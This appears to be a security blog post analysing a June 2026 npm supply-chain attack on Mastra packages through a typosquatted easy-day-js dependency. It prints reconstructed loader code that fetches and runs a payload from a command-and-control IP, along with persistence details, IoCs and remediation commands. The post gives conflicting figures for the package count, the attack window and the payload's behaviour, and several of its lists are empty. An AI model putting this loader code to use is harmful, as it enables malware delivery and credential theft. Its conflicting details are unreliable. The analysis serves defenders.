At 01:01 UTC on June 17, 2026, someone pushed a package to npm. Not a dramatic zero-day. Not a novel exploit. Just a date library or something that looked exactly like one.

By 01:48 UTC – forty-seven minutes later 144 Mastra packages were compromised. Hundreds of thousands of developers had a trojanized dependency sitting in their package.json. Any developer, CI runner, or build server that ran npm install during that window picked up a cross-platform infostealer that immediately went hunting for browser credentials and crypto wallet data.

I’ve been tracking supply chain attacks for years. This one deserves close attention not because it was technically novel, but because of how well-engineered the execution was, and because of what Mastra is: an AI development framework that integrates with OpenAI, Anthropic, and Google, managing LLM API keys, cloud tokens, and persistent AI memory. These aren’t just dev dependencies. They’re the keys to an organization’s entire AI infrastructure.

Let’s go through exactly what happened.

What Is Mastra, and Why Did Attackers Target It?

Mastra is a TypeScript framework for building AI agents, RAG pipelines, and LLM-powered workflows. It handles things like agent memory, Model Context Protocol (MCP) server management, tool integrations, and deployment to cloud providers. The @mastra/core package alone pulls in over 918,000 weekly npm downloads.

The reason Mastra makes such an attractive target is sitting right there in that description. Developers installing Mastra packages typically have environment variables and config files loaded with:

A successful postinstall hook on a Mastra package doesn’t just steal browser cookies. It runs inside a build environment that almost certainly has access to an organization’s entire cloud stack.

The attacker understood this. This wasn’t a random target.

Mastra NPM Package Supply Chain Attack Infographic
Mastra NPM Package Supply Chain Attack Infographic

The Attack Timeline: Two Stages, Forty-Seven Minutes

Stage 1 – The Setup (June 16, 2026, 07:05 UTC)

The attack didn’t start on June 17. It started the day before.

At 07:05 UTC on June 16, a user called sergey2016 published easy-day-js@1.11.21 to npm. The package was clean – a fully functional copy of dayjs, the widely-used JavaScript date library. The metadata was cloned with care: author field set to iamkun (the real dayjs author), the homepage pointed at https://day.js.org, the repository links matched, keywords matched, and the version number 1.11.21 sat naturally inside the dayjs@1.11.x version lineage.

This “bait” version had no malicious code. Its entire purpose was to establish the package’s existence in the npm registry, give it a clean history, and let any automated scans see a benign result before the real attack.

This is a well-documented pattern. It’s how the malicious axios campaign worked too.

Stage 2 – The Payload (June 17, 2026, 01:01–01:48 UTC)

At 01:01 UTC, easy-day-js@1.11.22 was published. This version was identical to the bait except for one addition: a heavily obfuscated file called setup.cjs and a postinstall hook in package.json pointing to it.

{
"scripts": {
"postinstall": "node setup.cjs"
}
}

Then, using compromised credentials to the @mastra npm organization account (attributed to the user ehindero), the attacker began mass-publishing new versions of Mastra packages. Each updated package had a single change: easy-day-js added as a production dependency, version ^1.11.21, which npm would resolve to the poisoned 1.11.22 via semver’s caret range.

Over the next 36 minutes, the sweep ran. 144 packages. Automated. Scripted.

Inside setup.cjs: What the Postinstall Hook Did

The setup.cjs file was obfuscated, but Socket’s research team recovered and analyzed it. Here’s what it does when npm install runs:

Step 1 – Disable TLS certificate validation

process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';

This single line tells Node.js to ignore TLS certificate errors for all subsequent HTTPS requests made by the process. It means the attacker doesn’t need a valid certificate for their command-and-control infrastructure. Any TLS cert – expired, self-signed, whatever – will be accepted.

Step 2 – Fetch the second-stage payload

// Reconstructed from deobfuscated analysis
const response = await fetch('https://23.254.164.92:8000/update/49890878');
const payload = await response.buffer();

The second-stage binary comes from a hardcoded IP (23.254.164.92) on port 8000. Using a raw IP rather than a domain name is deliberate, it avoids DNS-based detection and makes the C2 infrastructure harder to block via hostname filtering. The path /update/49890878 likely serves as a campaign identifier or victim tracking token.

Step 3 – Write to temp and execute detached

const tmpPath = path.join(os.tmpdir(), 'update');
fs.writeFileSync(tmpPath, payload, { mode: 0o755 });
const child = spawn(tmpPath, [], { detached: true, stdio: 'ignore' });
child.unref();

The payload lands in the system’s temp directory as a file named update. It’s executed as a detached child process – meaning it continues running even if the parent npm install process exits. child.unref() ensures the parent doesn’t wait for it. From Node’s perspective, npm install finishes normally.

Step 4 – Self-deletion

fs.unlinkSync(__filename);

The loader deletes itself. By the time a developer looks in node_modules/easy-day-js/, the setup.cjs file is already gone. Traditional file-based forensics won’t find it. The only traces are in process memory, network logs, and whatever persistence mechanisms the second-stage binary installs.

The Second-Stage Payload: A Cross-Platform Infostealer

The dropped binary is a proper infostealer compiled to run on Windows, macOS, and Linux.

What it steals:

Persistence mechanisms (all three platforms):

On Linux, the binary likely adds entries to ~/.bashrc, ~/.profile, or a systemd user service to survive reboots.

On macOS, it probably drops a LaunchAgent plist in ~/Library/LaunchAgents/ – a standard persistence location that survives user sessions.

On Windows, the most common mechanisms are Registry run keys (HKCU\Software\Microsoft\Windows\CurrentVersion\Run) or a scheduled task.

All collected data gets exfiltrated to the attacker’s C2 at 23.254.164.92:8000.

Why easy-day-js Works as a Typosquat

The legitimate library is dayjs. The malicious one is easy-day-js.

These aren’t visually similar in the way classic typosquats are (lodash vs 1odash). Instead, this attack targets a different cognitive failure: developers who search for “easy date library” or “simple day js” and skim the results, or developers who copy a dependency from a tutorial or blog post without checking whether the package name is exactly right.

The cloned metadata makes this especially dangerous. If you run npm info easy-day-js before installing, you see:

name: easy-day-js
version: 1.11.22
author: iamkun
homepage: https://day.js.org

That looks legitimate. The author is the real dayjs author. The homepage is the real dayjs site. Unless you notice that the npm package name doesn’t match the homepage’s branding, you might not catch it.

Socket flagged it within six minutes of publication anyway – not because of the metadata, but because of behavioral analysis of the postinstall hook.

Delivery Chain: How The Malicious Packages Reached Developers

Before the incident, legitimate @mastra/* releases were being pushed through the project’s CI pipeline, specifically via GitHub Actions.

That pattern changed on 2026-06-17. Between approximately 01:15 UTC and 02:36 UTC, a single npm account named ehindero published malicious releases for 141 packages under the @mastra/* scope. This count comes from scope-wide npm registry enumeration, although not every package in the scope was affected.

The malicious packages did not contain obvious hostile source-code changes. In fact, the package code itself remained byte-for-byte identical to the previous legitimate build. Apart from normal package manifest normalization and patch-version increments, the only meaningful change was the addition of a new dependency:

"dependencies": {
"easy-day-js": "^1.11.21"
}

That dependency was the real infection point.

easy-day-js was a typosquat package designed to resemble the widely used dayjs library. It had been published one day earlier, on 2026-06-16, by a different npm account: sergey2016.

The attacker used a staged trust-building approach:

The weaponized version added this lifecycle script:

"scripts": {
"postinstall": "node setup.cjs --no-warnings"
}

Because the malicious logic was placed inside the transitive dependency, installing any compromised @mastra/* package caused npm to pull easy-day-js@1.11.22. Its postinstall hook then executed automatically during installation, before the developer or CI system ever imported or ran application code.

Loader Behavior – setup.cjs

The first-stage payload was setup.cjs. It was heavily obfuscated using obfuscator.io, including string-array encoding, a custom Base64 decoder, and array-rotation logic.

Once deobfuscated, the loader is small but highly functional. Its role is to weaken TLS validation, contact attacker infrastructure, retrieve the second-stage implant, launch it in the background, and erase its own script.

A simplified behavioral view looks like this:

process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';
const url = 'https://23[.]254[.]164[.]92:8000/update/49890878';
fs.writeFileSync(os.tmpdir() + '/.pkg_history', __dirname);
fs.writeFileSync(os.tmpdir() + '/.pkg_logs', 'easy-day-js');
const stage2 = await (await fetch(url)).text();
const out = os.tmpdir() + '/' + crypto.randomBytes(12).toString('hex') + '.js';
fs.writeFileSync(out, stage2);
child_process.spawn(
process.execPath,
[out, '23[.]254[.]164[.]123:443'],
{
detached: true,
stdio: 'ignore',
windowsHide: true
}
).unref();
fs.rmSync(__filename, { force: true });

The loader performs several important actions:

  1. It sets:
NODE_TLS_REJECT_UNAUTHORIZED=0

This disables TLS certificate validation, allowing the malware to communicate with servers using self-signed or otherwise untrusted certificates.

  1. It contacts the stage-two download URL:
https://23[.]254[.]164[.]92:8000/update/49890878
  1. It writes temporary marker files:
.pkg_history
.pkg_logs

.pkg_history stores the package directory path, while .pkg_logs acts as a campaign marker tied to easy-day-js.

  1. It downloads the second-stage JavaScript payload.
  2. It writes that payload into the temporary directory using a random 12-byte hex filename ending in .js.
  3. It launches the downloaded file as a detached Node.js process.
  4. It passes the second C2 endpoint to the implant:
23[.]254[.]164[.]123:443
  1. It deletes its own loader file after execution to reduce evidence left behind.

The key point is that the loader runs during dependency installation. No application import, server start, or runtime execution is required for compromise.

Implant Behavior – protocal.cjs

The downloaded second-stage payload is a roughly 41 KB cross-platform Node.js implant.

This is not just a simple one-time stealer. It behaves more like a persistent tasking client. After installation, it creates login persistence, checks in with the attacker-controlled server, and waits for additional operator instructions.

The implant is designed to survive reboots and user logins across Windows, macOS, and Linux.

Persistence Mechanisms

Operating SystemPersistence MethodFiles / Details
WindowsHKCU\...\CurrentVersion\Run registry valueRun key value: NvmProtocal; launches hidden PowerShell; files placed in C:\ProgramData\NodePackages\ as protocal.cjs and config.json
macOSLaunchAgent~/Library/LaunchAgents/com.nvm.protocal.plist; payload stored at ~/Library/NodePackages/protocal.cjs
Linuxsystemd user serviceUnit file: ~/.config/systemd/user/nvmconf.service; payload stored at ~/.config/systemd/nvmconf/protocal.cjs; config stored at ~/.config/NodePackages/config.json

The Linux service written by the malware looks like this:

[Unit]
Description=System Config User Service
[Service]
Type=simple
ExecStart=<node> <home>/.config/systemd/nvmconf/protocal.cjs
SuccessExitStatus=SIGTERM SIGINT
Restart=on-failure
RestartSec=5
[Install]
WantedBy=default.target

The naming is intentional. Terms like NodePackages, NvmProtocal, com.nvm.protocal, and nvmconf.service are clearly meant to blend into developer environments where Node.js and NVM-related files may not look suspicious.

Command-And-Control And Tasking

After persistence is established, the implant sends an initial Start beacon to the operator infrastructure.

It then enters a repeating polling loop called Check / Cycle. During this loop, the malware asks the C2 server whether there are tasks to run.

The recovered implant supports multiple task types, including:

This makes the implant flexible. Even if the recovered core payload does not directly steal browser cookies or saved passwords, the attacker can still push additional code later. That means credential theft, token theft, wallet theft, or CI secret extraction could happen through follow-on modules delivered after the initial infection.

Built-In Collection Capabilities

The recovered second-stage payload includes several built-in reconnaissance and collection features.

Cryptocurrency Wallet Extension Inventory

The implant contains a hardcoded list of 166 cryptocurrency wallet browser-extension IDs.

The list includes wallets such as:

The malware checks browser profile directories, especially the browser Local Extension Settings locations, and compares installed extension IDs against its internal wallet list.

The recovered sample sends the wallet-extension inventory as part of the Start beacon under extInfo.

Important distinction: this recovered payload inventories wallet extensions and their profile paths. It does not directly copy or read wallet LevelDB data in the recovered sample.

However, because the malware supports remote tasking, the operator could still deliver additional payloads capable of stealing wallet data later.

Browser History Collection

The implant targets browser history from:

It copies each profile’s History database into a temporary directory using a browser-hist-* naming pattern.

It then reads the copied database using Node’s built-in:

node:sqlite

In the recovered sample, browser collection appears limited to the History database.

Host Reconnaissance

The implant also gathers host-level information, including:

Collected data is sent to the operator-controlled infrastructure through the bot path:

/49890878

The C2 host used for exfiltration is the one passed by the loader:

23[.]254[.]164[.]123:443

Additional Technical Details

Custom ICAP-Style HTTPS Protocol

The second-stage implant uses a custom protocol that resembles ICAP-style request handling over HTTPS POST.

The recovered code includes terms such as:

reqmod
PrimaryUrl
SecondaryUrl
sub_net_resolve
sub_net_splithostport

REQMOD is an ICAP request method, which suggests the malware authors modeled parts of their protocol around ICAP-like semantics.

The implant also performs hostname resolution using Node DNS APIs, including:

node:dns
resolve4
isIPv4

Traffic also carries a hardcoded spoofed User-Agent:

mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)

These protocol and User-Agent details are useful network-level indicators because they are less obvious than raw IP addresses or filenames.

Node And NVM Masquerading

The malware repeatedly disguises itself as Node.js or NVM-related tooling.

Examples include:

protocal.cjs
NodePackages
NvmProtocal
com.nvm.protocal
nvmconf.service
System Config User Service

This naming strategy is consistent across Windows, macOS, and Linux. The intent is to make the files and persistence entries look normal on developer workstations.

Reused Loader Toolkit

An identical loader sample named a.js had already appeared in public malware sandboxes on 2026-05-29, around 19 days before the Mastra package-publishing wave.

That timing suggests the loader was not created only for this attack. It appears to be reused tooling.

Malicious Logic Hidden In A Transitive Dependency

The compromised @mastra/* packages do not directly contain malicious code.

The attack works because the packages silently pull in easy-day-js, and easy-day-js@1.11.22 executes the malicious install hook.

That makes source review of the affected @mastra/* packages insufficient. The malicious behavior happens during installation through a dependency lifecycle script.

This is exactly why install-time behavior monitoring matters.

TLS Verification Disabled In Both Stages

Both the loader and the recovered second-stage implant disable TLS certificate verification by setting:

NODE_TLS_REJECT_UNAUTHORIZED=0

This allows the malware to communicate with infrastructure using invalid, self-signed, or otherwise untrusted certificates.

Recommendations And Mitigations

Any system that installed an affected @mastra/* version should be treated as potentially compromised.

The payload executes during npm install, so the risk is tied to installation or CI execution. The vulnerable package does not need to be imported by application code for compromise to occur.

Identify Exposure

Search for affected package versions and the injected dependency across:

Important files to inspect include:

package-lock.json
npm-shrinkwrap.json
yarn.lock
pnpm-lock.yaml

A quick first check on a local project or build runner is:

npm ls easy-day-js

Contain Affected Systems

For developer machines, isolate the host before cleanup and preserve logs where possible.

Deleting node_modules or uninstalling the npm package is not enough, because the implant creates operating-system login persistence.

For CI/CD systems:

Remove Malicious Versions And Dependency Locks

Remove the affected @mastra/* package versions from projects and lockfiles.

Also remove:

easy-day-js

Replace the affected @mastra/* packages with a verified clean version. The safer choice is the last GitHub-Actions-published release immediately before the malicious patch version.

Before reintroducing any package, verify:

Clear local and CI package caches because malicious tarballs may remain cached.

Do not reuse existing runners, workspaces, or node_modules directories from potentially compromised builds.

Remove Persistence And Local Artifacts

On affected systems, remove both persistence entries and dropped files.

Windows

Delete the Run key value:

NvmProtocal

from:

HKCU\...\CurrentVersion\Run

Remove:

C:\ProgramData\NodePackages\protocal.cjs
C:\ProgramData\NodePackages\config.json

macOS

Unload and delete:

~/Library/LaunchAgents/com.nvm.protocal.plist

Remove:

~/Library/NodePackages/protocal.cjs

Linux

Disable and delete:

~/.config/systemd/user/nvmconf.service

Remove:

~/.config/systemd/nvmconf/protocal.cjs
~/.config/NodePackages/config.json

Also search temporary directories for loader and collection artifacts:

.pkg_history
.pkg_logs
<random 12-byte hex>.js
browser-hist-*

Hunt for detached Node.js processes running the dropped script.

Rotate Exposed Credentials

The recovered implant inventories cryptocurrency wallet extensions, collects browser history, performs host reconnaissance, and supports arbitrary follow-on task execution.

That means defenders should assume the install context may have been exposed.

Cryptocurrency Wallets

If any targeted wallet extension was installed on an affected machine, treat that wallet environment as high risk.

Relevant wallets include:

MetaMask
Phantom
Coinbase Wallet
Binance Wallet
TronLink

and others from the implant’s 166-extension list.

The recovered payload inventories wallet extensions rather than directly copying LevelDB wallet storage. Still, because arbitrary install-time code ran and the implant supports remote tasking, high-value wallets should be migrated as a precaution.

For high-value wallets:

Developer And CI Secrets

The recovered second stage did not directly read saved passwords or browser cookies, but the attacker had code execution during installation and could deliver additional payloads dynamically.

Rotate secrets that may have existed in the affected install environment, including:

Prioritize CI runners and developer machines where sensitive credentials were present.

Strengthen CI/CD And Dependency Controls

Run dependency installation with lifecycle scripts disabled by default where possible:

npm install --ignore-scripts

Only allow install scripts for packages that genuinely require them.

Recommended controls:

Do not rely only on provenance or trusted publishing. In this incident, the malicious package wave was pushed by an account with legitimate publishing access.

Indicators Of Compromise

Network Indicators

23.254.164[.]92
https://23.254.164[.]92:8000/update/49890878
23.254.164[.]123
https://23.254.164[.]123:443/49890878
AS54290 (Hostwinds LLC)
hwsrv-1327786.hostwindsdns[.]com
hwsrv-1327785.hostwindsdns[.]com

Code And String Indicators

NvmProtocal
com.nvm.protocal
nvmconf.service
protocal.cjs
NodePackages
.pkg_history
.pkg_logs
/update/49890878

Additional descriptions:

NvmProtocal - Windows Run-key value name
com.nvm.protocal - macOS LaunchAgent label
nvmconf.service - Linux systemd user service
protocal.cjs - dropped stage-two filename
NodePackages - drop directory name across Windows, macOS, and Linux variants
.pkg_history / .pkg_logs - loader marker and beacon files
/update/49890878 - stage-two download path and bot identifier

SHA-256 Hashes

b122a9873bedf145ae2a7fd024b5f309007dbb025149f4dc4ac3f7e4f32a36a4 - easy-day-js setup.cjs stage-one loader
c38954e85bf5433e61e7c8f4230336695624ae88b6953afabf7bf817aa91b638 - easy-day-js@1.11.22 package.json
cdec8b20338beb708b5be8d3d7a3041a35a8b0fb92f9186262f312d55ff82066 - loader variant
9570f77a5e1511869f4e554e7166df9fde081f2583e293c2569621792ed7d9c9 - loader variant
221c45a790dec2a296af57969e1165a16f8f49733aeab64c0bbd768d9943badf - stage-two stealer

The Blast Radius

Because the malware runs during npm install before any code is imported or executed, exposure happens the moment a developer touches the package. There’s no need to run the application. There’s no need to import anything. The hook fires during package resolution.

For a package like @mastra/core at 918K+ weekly downloads, the math gets uncomfortable quickly. Even if only a fraction of those installs ran during the attack window before Socket blocked it, that’s a large number of potentially compromised machines.

CI environments are particularly bad here. A CI runner that installs Mastra packages as part of a build job typically has:

A single compromised CI run could hand the attacker everything they need to move laterally into an organization’s entire infrastructure.

Detection: How to Tell If You Were Hit

Check for the package:

# Did you install the compromised version?
npm list easy-day-js
cat package-lock.json | grep easy-day-js

Check for active network connections to the C2:

# Linux/macOS
netstat -an | grep 23.254.164.92
# Windows (PowerShell)
netstat -ano | findstr 23.254.164.92

Check for the dropped binary in temp:

# Linux/macOS
ls -la /tmp/ | grep update
# Windows (PowerShell)
Get-ChildItem $env:TEMP -Recurse | Where-Object { $_.Name -like "update*" }

Check for suspicious detached processes:

# Linux
ps aux | grep -i 49890878
# macOS
ps aux | grep -i update | grep -v grep

Scan for postinstall hooks across node_modules:

# Linux/macOS
find node_modules -name "package.json" -exec grep -l '"postinstall"' {} \;
# Windows PowerShell
Get-ChildItem -Path .\node_modules -Filter package.json -Recurse | ForEach-Object {
$content = Get-Content $_.FullName -Raw | ConvertFrom-Json
if ($content.scripts.postinstall) {
Write-Host "Found postinstall in: $($_.FullName)" -ForegroundColor Yellow
Write-Host "Script: $($content.scripts.postinstall)" -ForegroundColor Red
}
}

Indicators of Compromise (IoCs):

IndicatorTypeNotes
easy-day-js in package.json / node_modulesFileAny version
23.254.164.92:8000NetworkC2 server
/tmp/update (Linux/macOS) or %TEMP%\update (Windows)FileDropped second-stage
Outbound connection to port 8000 from build environmentNetworkDuring or after npm install
setup.cjs (absence after install)File (deleted)Self-deletes; absence is the indicator

Remediation: What To Do Right Now

If any machine installed one of the affected Mastra versions listed in the table below, treat it as fully compromised. Don’t just uninstall the package and move on.

Isolate

Take the affected machine (or CI runner) offline or at minimum block outbound connections to 23.254.164.92. Don’t wait until you’ve finished the audit.

Rotate credentials, immediately

This is the most urgent step. Rotate everything that was accessible on the affected machine:

Don’t try to figure out what was specifically accessed first. Rotate everything, then investigate.

Remove and reinstall clean

# Remove the malicious dependency
npm uninstall easy-day-js
# Check which Mastra versions are installed
npm list @mastra/ --depth=0
# Remove and reinstall clean versions (check npm for patched releases)
rm -rf node_modules
npm cache clean --force
npm install

Block the C2 at the network level

# Linux (iptables)
sudo iptables -A OUTPUT -d 23.254.164.92 -j DROP
sudo iptables -A INPUT -s 23.254.164.92 -j DROP
# Windows (PowerShell)
New-NetFirewallRule -DisplayName "Block Mastra C2" -Direction Outbound -RemoteAddress 23.254.164.92 -Action Block

Check for persistence

# Linux - check systemd user services
systemctl --user list-units --type=service
# Linux - check cron
crontab -l
cat /etc/cron* 2>/dev/null
# macOS - check LaunchAgents
ls ~/Library/LaunchAgents/
ls /Library/LaunchAgents/
# Windows - check scheduled tasks
Get-ScheduledTask | Where-Object { $_.Date -gt (Get-Date).AddDays(-2) }
# Windows - check run keys
Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"

Audit npm token scopes

If your npm token was exposed, the attacker could publish packages under your organization’s namespace – exactly what happened to the @mastra org. Check your npm account’s recent publish activity immediately.

How Socket Caught It in Six Minutes

Socket uses behavioral analysis, not just signature matching. When easy-day-js@1.11.22 was published, Socket’s system flagged the postinstall hook in the package manifest and analyzed what setup.cjs was doing – specifically: disabling TLS validation, reaching out to an external IP, executing a detached process, and self-deleting.

No amount of metadata cloning defeats behavioral analysis. The fact that iamkun was listed as the author didn’t matter. What mattered was that the code was doing things a date library has no business doing.

Socket customers had installs of any affected package blocked automatically. Six minutes is fast enough to matter in a campaign that ran for 47 minutes total.

Why AI Framework Ecosystems Are Becoming Priority Targets

This attack isn’t random. Mastra is exactly the kind of target that makes sense for a sophisticated adversary in 2026.

AI development frameworks sit at the intersection of:

@mastra/claude, @mastra/openai, @mastra/azure, @mastra/auth-* – these package names tell you exactly what’s in the environment when they get installed. An attacker who compromises a machine running these packages doesn’t just get browser history. They get the keys to whatever AI infrastructure a company is building.

LangChain, LlamaIndex, CrewAI, and similar frameworks are going to face the same targeting. The pattern is established now.

Hardening Your Pipeline Against This Types of Attacks

Lock your dependency versions

Use exact versions, not caret ranges:

{
"dependencies": {
"@mastra/core": "1.42.0",
"dayjs": "1.11.10"
}
}

Commit your package-lock.json or pnpm-lock.yaml. This ensures that even if a package receives a malicious update, your installs don’t automatically pull it.

Use --ignore-scripts for untrusted package installs

npm install --ignore-scripts

This disables postinstall and other lifecycle hooks. It breaks some packages that legitimately need to compile native modules, but for audit purposes or when evaluating new dependencies, it’s the safest flag you have.

Verify package signatures

npm audit signatures

npm’s package provenance feature lets you verify that a package was built by the expected CI pipeline and published from the expected source. @mastra/core with provenance should trace back to Mastra’s official GitHub Actions workflow – not a script published by ehindero.

Integrate dependency scanning into CI

Add Socket’s CLI or a similar tool to your CI pipeline:

# GitHub Actions
- name: Scan dependencies
run: |
npm install -g @socketsecurity/cli
socket scan

Run this before npm install, not after.

Block known malicious IPs at the network boundary

In a CI/CD context, your build runners generally don’t need to reach arbitrary IPs on port 8000. Egress filtering, even a simple allowlist of expected hosts would have blocked the second-stage payload fetch completely.

Use a private registry with an allowlist

npm config set registry https://your-private-registry.company.com

Tools like Verdaccio, Artifactory, or GitHub Packages let you proxy npm and enforce an approved package list. New packages don’t get through until a human reviews them. This adds friction to your dev workflow but removes an entire attack surface.

Set NODE_TLS_REJECT_UNAUTHORIZED as a protected environment variable

In CI systems, you can explicitly set this to 1 as a protected environment variable that can’t be overridden by child processes. Some CI platforms support this natively. It won’t stop the fetch from being attempted, but TLS verification failures will at least generate noise in your network logs.

Complete List of Affected Packages

The following is the complete list of affected packages and versions, cross-referenced across all published sources. Versions published on June 17, 2026 between approximately 01:01 UTC and 02:37 UTC are the affected ones.

PackageCompromised VersionPublished (UTC)
easy-day-js1.11.222026-06-17 01:01:33
@mastra/schema-compat1.2.122026-06-17 01:12:43
@mastra/memory1.20.42026-06-17 01:16:15
@mastra/server2.1.12026-06-17 01:17:32
@mastra/loggers1.1.32026-06-17 01:18:14
@mastra/observability1.14.22026-06-17 01:18:59
@mastra/deployer1.42.12026-06-17 01:19:51
@mastra/mcp1.10.12026-06-17 01:25:36
@mastra/pg1.13.12026-06-17 01:25:04
@mastra/client-js1.24.12026-06-17 01:26:24
@mastra/libsql1.13.12026-06-17 01:26:53
@mastra/ai-sdk1.4.62026-06-17 01:27:27
@mastra/otel-exporter1.2.32026-06-17 01:28:15
@mastra/langfuse1.3.62026-06-17 01:29:49
@mastra/datadog1.2.52026-06-17 01:30:13
@mastra/rag2.2.22026-06-17 01:30:42
@mastra/express1.3.312026-06-17 01:31:19
@mastra/dynamodb1.0.92026-06-17 01:31:43
@mastra/hono1.4.262026-06-17 01:32:34
@mastra/otel-bridge1.2.32026-06-17 01:33:33
@mastra/braintrust1.1.42026-06-17 01:33:06
@mastra/editor0.11.32026-06-17 01:34:13
@mastra/langsmith1.2.42026-06-17 01:34:46
@mastra/sentry1.1.42026-06-17 01:35:10
@mastra/mongodb1.9.32026-06-17 01:35:39
@mastra/posthog1.0.292026-06-17 01:36:07
@mastra/mcp-docs-server1.1.472026-06-17 01:37:01
@mastra/clickhouse1.10.12026-06-17 01:37:42
@mastra/auth1.0.32026-06-17 01:38:36
@mastra/s30.5.32026-06-17 01:38:11
@mastra/fastify1.3.312026-06-17 01:39:37
@mastra/fastembed1.1.32026-06-17 01:39:14
@mastra/inngest1.5.22026-06-17 01:39:59
@mastra/stagehand0.2.52026-06-17 01:40:23
@mastra/deployer-vercel1.1.382026-06-17 01:41:44
@mastra/daytona0.4.22026-06-17 01:41:19
@mastra/react1.0.12026-06-17 01:42:56
@mastra/voice-openai-realtime0.12.62026-06-17 01:40:55
@mastra/voice-openai0.12.32026-06-17 01:42:08
@mastra/agent-browser0.3.22026-06-17 01:42:27
@mastra/voice-google-gemini-live0.12.22026-06-17 01:43:49
@mastra/upstash1.1.32026-06-17 01:43:23
@mastra/arize1.2.32026-06-17 01:44:36
@mastra/e2b0.3.42026-06-17 01:44:12
@mastra/auth-better-auth1.0.42026-06-17 01:45:48
@mastra/chroma1.0.22026-06-17 01:45:05
@mastra/tavily1.0.32026-06-17 01:45:26
@mastra/convex1.2.22026-06-17 01:46:13
@mastra/auth-clerk1.0.32026-06-17 01:46:33
@mastra/deployer-cloudflare1.1.442026-06-17 01:47:44
@mastra/auth-supabase1.0.22026-06-17 01:47:16
@mastra/gcs0.2.32026-06-17 01:48:36
@mastra/redis1.1.32026-06-17 01:48:07
@mastra/playground-ui33.0.12026-06-17 01:49:47
@mastra/cloudflare-d11.0.72026-06-17 01:50:38
@mastra/nestjs0.1.152026-06-17 01:51:32
@mastra/voice-google0.12.32026-06-17 01:51:03
@mastra/voice-elevenlabs0.12.22026-06-17 01:51:57
@mastra/turbopuffer1.0.32026-06-17 01:52:18
@mastra/pinecone1.0.22026-06-17 01:52:40
@mastra/temporal0.1.142026-06-17 01:53:00
@mastra/docker0.3.12026-06-17 01:53:44
@mastra/voice-deepgram0.12.22026-06-17 01:53:23
@mastra/auth-auth01.0.22026-06-17 01:54:11
@mastra/longmemeval1.0.502026-06-17 01:54:39
@mastra/cloudflare1.4.22026-06-17 01:55:07
@mastra/auth-workos1.5.32026-06-17 01:55:53
@mastra/acp0.2.22026-06-17 01:55:31
@mastra/mssql1.3.22026-06-17 01:56:57
create-mastra1.13.12026-06-17 01:56:28
@mastra/blaxel0.4.22026-06-17 01:57:20
@mastra/dsql1.0.32026-06-17 01:57:45
@mastra/vectorize1.0.32026-06-17 01:58:45
@mastra/couchbase1.0.42026-06-17 01:58:13
@mastra/agent-builder1.0.422026-06-17 01:59:24
@mastra/koa1.5.142026-06-17 02:00:19
@mastra/mcp-registry-registry1.0.22026-06-17 02:00:55
@mastra/deployer-netlify1.1.202026-06-17 02:02:40
@mastra/claude1.0.32026-06-17 02:02:09
@mastra/google-cloud-pubsub1.0.62026-06-17 02:03:10
@mastra/redis-streams0.0.42026-06-17 02:03:37
@mastra/opensearch1.0.32026-06-17 02:04:28
@mastra/lance1.0.72026-06-17 02:04:56
@mastra/cursor0.2.12026-06-17 02:04:01
@mastra/deployer-cloud1.42.12026-06-17 02:05:28
@mastra/openai1.0.22026-06-17 02:05:56
@mastra/files-sdk0.2.12026-06-17 02:06:22
@mastra/astra1.0.22026-06-17 02:06:47
@mastra/github-signals0.1.22026-06-17 02:07:15
@mastra/auth-cloud1.1.42026-06-17 02:08:45
@mastra/laminar1.2.32026-06-17 02:09:19
@mastra/browser-viewer0.1.32026-06-17 02:15:40
@mastra/twilio1.0.22026-06-17 02:16:23
@mastra/auth-studio1.2.42026-06-17 02:16:48
@mastra/agentfs0.1.12026-06-17 02:17:14
@mastra/opencode0.0.472026-06-17 02:17:42
@mastra/azure0.2.32026-06-17 02:18:10
@mastra/auth-okta0.0.52026-06-17 02:18:44
@mastra/brightdata0.2.22026-06-17 02:19:15
@mastra/slack1.3.12026-06-17 02:19:47
@mastra/elasticsearch1.2.12026-06-17 02:20:39
@mastra/auth-firebase1.0.12026-06-17 02:20:13
@mastra/google-drive0.1.12026-06-17 02:21:13
@mastra/mysql0.1.12026-06-17 02:21:40
@mastra/spanner1.1.22026-06-17 02:22:31
@mastra/arthur0.3.32026-06-17 02:22:03
@mastra/agentcore0.2.22026-06-17 02:23:27
@mastra/voice-azure0.11.22026-06-17 02:23:04
@mastra/codemod1.0.42026-06-17 02:23:58
@mastra/perplexity0.1.12026-06-17 02:24:27
@mastra/voice-speechify0.12.22026-06-17 02:24:57
@mastra/vercel1.0.12026-06-17 02:25:20
@mastra/modal0.2.22026-06-17 02:25:42
@mastra/voice-sarvam1.0.22026-06-17 02:26:57
@mastra/node-audio0.1.82026-06-17 02:26:04
@mastra/engine0.1.12026-06-17 02:26:27
@mastra/railway0.1.12026-06-17 02:27:26
@mastra/voice-murf0.12.32026-06-17 02:28:00
@mastra/mem00.1.142026-06-17 02:28:27
@mastra/browser-firecrawl0.1.12026-06-17 02:28:55
@mastra/voice-playai0.12.22026-06-17 02:29:59
@mastra/speech-openai0.2.12026-06-17 02:30:41
@mastra/cloud0.1.242026-06-17 02:30:20
@mastra/speech-speechify0.2.12026-06-17 02:31:34
@mastra/speech-ibm0.2.12026-06-17 02:31:12
@mastra/speech-murf0.2.12026-06-17 02:31:56
@mastra/speech-azure0.2.12026-06-17 02:32:20
@mastra/speech-google0.2.12026-06-17 02:32:39
@mastra/speech-replicate0.2.12026-06-17 02:33:09
@mastra/speech-elevenlabs0.2.12026-06-17 02:33:30
@mastra/deployer-cloudflare1.1.442026-06-17 01:47:44
@mastra/cloudflare1.4.22026-06-17 01:55:07
@mastra/voice-cloudflare0.12.32026-06-17 02:33:57
@mastra/voice-gladia0.12.22026-06-17 02:35:21
@mastra/dane1.0.22026-06-17 02:34:52
@mastra/voice-inworld0.3.12026-06-17 02:35:54
@mastra/voice-modelslab0.1.22026-06-17 02:34:26
@mastra/voice-xai-realtime0.1.22026-06-17 02:36:20
@mastra/node-speaker0.1.1(confirmed affected)
@mastra/s3vectors1.0.7(confirmed affected)
@mastra/duckdb1.4.32026-06-17 01:32:07
@mastra/core1.42.12026-06-17 01:15:13
mastra1.13.1(confirmed affected)

The Broader Pattern: This Is Not Going to Stop

